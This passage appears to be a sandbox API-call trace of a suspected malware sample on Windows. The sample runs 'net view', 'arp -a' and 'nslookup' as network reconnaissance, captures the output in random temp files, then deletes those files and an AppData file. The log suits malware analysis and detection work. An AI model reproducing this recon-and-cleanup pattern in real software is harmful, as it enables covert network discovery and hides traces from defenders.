nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.621] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\FD88F.tmp", dwFileAttributes=0x80) returned 1 [0065.621] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\FD88F.tmp" (normalized: "c:\\windows\\temp\\fd88f.tmp")) returned 1 [0065.621] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\lGD890.tmp" (normalized: "c:\\windows\\temp\\lgd890.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f914 | out: lpFileInformation=0x18f914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d8bb650, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6d8bb650, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x70fc7310, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x44)) returned 1 [0065.621] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\lGD890.tmp", dwFileAttributes=0x80) returned 1 [0065.622] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\lGD890.tmp" (normalized: "c:\\windows\\temp\\lgd890.tmp")) returned 1 [0065.622] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ba0 [0065.622] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b58) returned 1 [0065.622] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed08) returned 1 [0065.622] NtClose (Handle=0x144) returned 0x0 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c34900) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c344f8) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ec80) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b58 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d678 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d488 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b10 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b10) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d488) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d678) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b58) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ba0) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0065.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c399a8, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0065.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c399a8, cbMultiByte=14, lpWideCharStr=0x1d3eb70, cchWideChar=14 | out: lpWideCharStr="igmp.mcast.net") returned 14 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ec80 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed08 [0065.623] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed08) returned 1 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed08 [0065.623] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0065.623] CryptAcquireContextW (in: phProv=0x18f8cc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8cc*=0x255a28) returned 1 [0065.624] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8e0 | out: pbBuffer=0x18f8e0) returned 1 [0065.625] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0065.625] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed90 [0065.625] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0065.625] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0065.625] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0065.625] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0065.626] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0065.626] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0065.626] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="Fr", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\FrEF2C.tmp" (normalized: "c:\\windows\\temp\\fref2c.tmp")) returned 0xef2c [0065.627] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed90) returned 1 [0065.627] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c344f8 [0065.627] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\FrEF2C.tmp", lpszShortPath=0x1c344f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\FrEF2C.tmp") returned 0x1a [0065.627] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0065.627] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed08) returned 1 [0065.627] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed08 [0065.627] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0065.627] CryptAcquireContextW (in: phProv=0x18f8cc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8cc*=0x255a28) returned 1 [0065.628] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8e0 | out: pbBuffer=0x18f8e0) returned 1 [0065.628] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0065.628] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed90 [0065.628] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0065.629] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0065.629] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0065.629] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0065.630] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0065.630] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0065.630] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="Or", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\OrEF2D.tmp" (normalized: "c:\\windows\\temp\\oref2d.tmp")) returned 0xef2d [0065.630] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed90) returned 1 [0065.630] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c34900 [0065.630] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\OrEF2D.tmp", lpszShortPath=0x1c34900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\OrEF2D.tmp") returned 0x1a [0065.631] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0065.631] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed08) returned 1 [0065.631] CreateFileW (lpFileName="C:\\Windows\\TEMP\\FrEF2C.tmp" (normalized: "c:\\windows\\temp\\fref2c.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f97c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x144 [0065.631] CreateFileW (lpFileName="C:\\Windows\\TEMP\\OrEF2D.tmp" (normalized: "c:\\windows\\temp\\oref2d.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f97c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0065.631] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\net.exe", lpCommandLine="C:\\Windows\\system32\\\\net.exe view igmp.mcast.net", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9bc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x144, hStdError=0x13c), lpProcessInformation=0x18f988 | out: lpCommandLine="C:\\Windows\\system32\\\\net.exe view igmp.mcast.net", lpProcessInformation=0x18f988*(hProcess=0x140, hThread=0x138, dwProcessId=0x910, dwThreadId=0xa90)) returned 1 [0065.634] NtClose (Handle=0x138) returned 0x0 [0065.634] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xea60) returned 0x0 [0083.934] NtClose (Handle=0x144) returned 0x0 [0083.934] NtClose (Handle=0x13c) returned 0x0 [0083.935] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed08 [0083.935] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\FrEF2C.tmp" (normalized: "c:\\windows\\temp\\fref2c.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f8d4 | out: lpFileInformation=0x18f8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fed470, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x70fed470, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x70fed470, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.936] CreateFileW (lpFileName="C:\\Windows\\TEMP\\FrEF2C.tmp" (normalized: "c:\\windows\\temp\\fref2c.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0083.936] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x18f918, lpLastWriteTime=0x18f918) returned 0 [0083.936] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x18f904 | out: lpFileSizeHigh=0x18f904*=0x0) returned 0x0 [0083.936] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f910*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f910*=0) returned 0x0 [0083.936] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ba0 [0083.936] ReadFile (in: hFile=0x13c, lpBuffer=0x1c39ba0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x18f944, lpOverlapped=0x0 | out: lpBuffer=0x1c39ba0*, lpNumberOfBytesRead=0x18f944*=0x0, lpOverlapped=0x0) returned 1 [0083.936] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b58 [0083.936] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ba0) returned 1 [0083.936] NtClose (Handle=0x13c) returned 0x0 [0083.936] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\FrEF2C.tmp" (normalized: "c:\\windows\\temp\\fref2c.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f914 | out: lpFileInformation=0x18f914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fed470, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x70fed470, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x70fed470, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.937] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\FrEF2C.tmp", dwFileAttributes=0x80) returned 1 [0083.937] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\FrEF2C.tmp" (normalized: "c:\\windows\\temp\\fref2c.tmp")) returned 1 [0083.937] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\OrEF2D.tmp" (normalized: "c:\\windows\\temp\\oref2d.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f914 | out: lpFileInformation=0x18f914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fed470, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x70fed470, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x7be962b0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x44)) returned 1 [0083.937] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\OrEF2D.tmp", dwFileAttributes=0x80) returned 1 [0083.938] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\OrEF2D.tmp" (normalized: "c:\\windows\\temp\\oref2d.tmp")) returned 1 [0083.939] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ba0 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b58) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed08) returned 1 [0083.939] NtClose (Handle=0x140) returned 0x0 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c34900) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c344f8) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ec80) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0083.939] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b58 [0083.939] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d678 [0083.939] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d488 [0083.939] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b10 [0083.939] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b10) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d488) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d678) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b58) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ba0) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397f8) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d598) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39e28) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d328) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d630) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ac8) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d378) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3d8) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c78) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3c8) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c30) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3b8) returned 1 [0083.939] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d660) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32b68) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39330) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eae8) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ea60) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c398d0) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d588) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39918) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d428) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d50) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d338) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399f0) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d548) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39cc0) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5b8) returned 1 [0083.940] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ff98) returned 1 [0083.941] ReleaseMutex (hMutex=0x134) returned 1 [0083.941] ReleaseMutex (hMutex=0x134) returned 0 [0083.941] GetLastError () returned 0x120 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c392e8) returned 1 [0083.941] NtClose (Handle=0x134) returned 0x0 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c392a0) returned 1 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39180) returned 1 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e9d8) returned 1 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e840) returned 1 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0083.941] Wow64RevertWow64FsRedirection (OlValue=0x1) returned 1 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39210) returned 1 [0083.941] ReleaseMutex (hMutex=0x130) returned 0 [0083.941] GetLastError () returned 0x120 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c391c8) returned 1 [0083.941] NtClose (Handle=0x130) returned 0x0 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39138) returned 1 [0083.941] NtClose (Handle=0x104) returned 0x0 [0083.941] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c390f0) returned 1 [0083.941] NtClose (Handle=0xec) returned 0x0 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c948) returned 1 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c900) returned 1 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c38500) returned 1 [0083.942] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0083.942] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e840 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e840) returned 1 [0083.942] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e840 [0083.942] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0083.942] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e840) returned 1 [0083.942] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1")) returned 1 [0083.943] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0083.943] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c37cf8) returned 1 [0083.943] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0083.943] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e268) returned 1 [0083.943] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d288) returned 1 [0083.943] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0083.943] ExitProcess (uExitCode=0x0) Thread: id = 352 os_tid = 0x878 Thread: id = 402 os_tid = 0x688 Thread: id = 404 os_tid = 0x980 Process: id = "23" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x329b7000" os_pid = "0xc0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00070921" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 344 os_tid = 0x78c Thread: id = 346 os_tid = 0x818 Thread: id = 347 os_tid = 0x828 Thread: id = 348 os_tid = 0x838 Thread: id = 349 os_tid = 0x848 Thread: id = 351 os_tid = 0x868 Thread: id = 403 os_tid = 0xb90 Thread: id = 464 os_tid = 0x69c Process: id = "24" image_name = "arp.exe" filename = "c:\\windows\\system32\\arp.exe" page_root = "0x314b5000" os_pid = "0x8a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x664" cmd_line = "C:\\Windows\\system32\\\\arp.exe -a" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 355 os_tid = 0x8bc Thread: id = 357 os_tid = 0x90c Process: id = "25" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x2edbb000" os_pid = "0x92c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x664" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 192.168.0.1" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 359 os_tid = 0x93c [0052.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fe10 | out: lpSystemTimeAsFileTime=0x16fe10*(dwLowDateTime=0x6950a4b0, dwHighDateTime=0x1d5d030)) [0052.615] GetCurrentProcessId () returned 0x92c [0052.615] 